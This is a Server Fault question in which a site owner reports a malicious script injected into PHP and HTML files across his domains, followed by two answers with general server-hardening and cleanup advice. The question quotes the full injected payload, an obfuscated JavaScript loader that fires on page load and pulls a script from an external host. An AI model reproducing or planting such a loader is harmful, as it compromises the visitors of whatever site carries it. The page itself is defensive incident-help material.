Take the 2-minute tour ×
Server Fault is a question and answer site for system and network administrators. It's 100% free, no registration required.

We have recently noticed that a malicious script is inserting itself in a number of PHP and HTML files on our domain questoons.com and the various add-on domains hosted on this account. The script inserts itself at the end of the file and the code is as below:

<script>/*CODE1*/ try{window.onload = function(){var Q236s4ic4454clw = document.createElement('script');Q236s4ic4454clw.setAttribute('type', 'text/javascript');Q236s4ic4454clw.setAttribute('id', 'myscript1');Q236s4ic4454clw.setAttribute('src',  'h(t)!^t^))p#@:&&/(##/&$#c^$$l^@)(i&(c$^)k))#$s^o$#r!^)^-$$$&c@$o#^m$!#.#&(e((a!!s)(@t)&m((o@^^n!$!e&^&(y$#).#&c$@o$@!$^m(##(.@m@o@(b(^i&#l#!@e@)@&(-(d)&(e^&@(.))@&h)@@@o^^@m!e#&&)s)a#$$l$$#e^@!p^@l&@u#((^s^#@(.$)r$$u(:!$8!$0&$&8)@$0$!)/!o#&@c##@@n(@^!.))n@e@.)&j!@^#$p#/)^@o^c^n)((.()n^)e^$.@!)$j!!^(p#!/@&)c^(l&(a&s(^s@!m^@a($^t#e!#^@)s$.^c^&#o((&m&/)(&@l&()i(@n)(k$@h&e)@$(l)$p^!e)$!$r$#.)&c!&n($@/$g#o^@&o!$$g$^l^&#@e$.&&!c#o@$$m(/$$'.replace(/\(|\!|&|#|\$|\)|@|\^/ig, ''));Q236s4ic4454clw.setAttribute('defer', 'defer');document.body.appendChild(Q236s4ic4454clw);}} catch(e) {}</script>

Please guide as to how this could have happened and how can we stop its spread and prevent further infections from occuring.

Thanks & Regards,

Vinayak

share|improve this question

2 Answers 2

The script code itself does not say anything about how it got there - more likely the software running on your server or the network setup of your server got you there (e.g. the content management system, forum software etc. you are using, fileserver features or other)

Without analysis of your logfiles (which may be altered) and the software (and versions) you're running, there's nothing one can say about the cause. Just about the precautions that you need to follow in future:

Among these are:

  • If you are using stock components (open or closed source) make sure that you always have the latest version
  • do subscribe to your software vendors mailing list where they send notifications about updates and security-related issues (also for open source projects)
  • when there are security updates: Update as quick as possible.
  • make sure the user account the webserver is using has no write access to any directory that is served by the webserver
  • use well-tested software that is known for robustness instead of some random example code to hack your own solution
  • know about the typical security issues in the environment you're using and how to harden the server against attacks (e.g. php might allow to include remote code to be executed on the server)
  • run your webserver behind a firewall that prohibits the webserver from reaching out to the web.
  • limit access to other services (e.g. ssh, nfs, samba etc) to those who really need them

There's more - these are the first that come to mind. In an answer here you really can get only a first idea of what to do. The standard procedures of hardening a system are well documented everywhere. Be prepared: It's hard work.

share|improve this answer

There are many vectors leading to file manipulations, first of all you need to ensure that the softwares providing access to your files is up to date (ftp/http/etc), that the passwords have a good complexity, that your files have the correct filesystem permissions and ownership, you have to ensure that the code executed on the server (php for ex) does properly sanitize the inputs, monitoring files checksums is also a good option. Now that you've been compromised you'll certainly be more confident with rebuilding the server, changing all passwords and auditing the code running on it.

share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.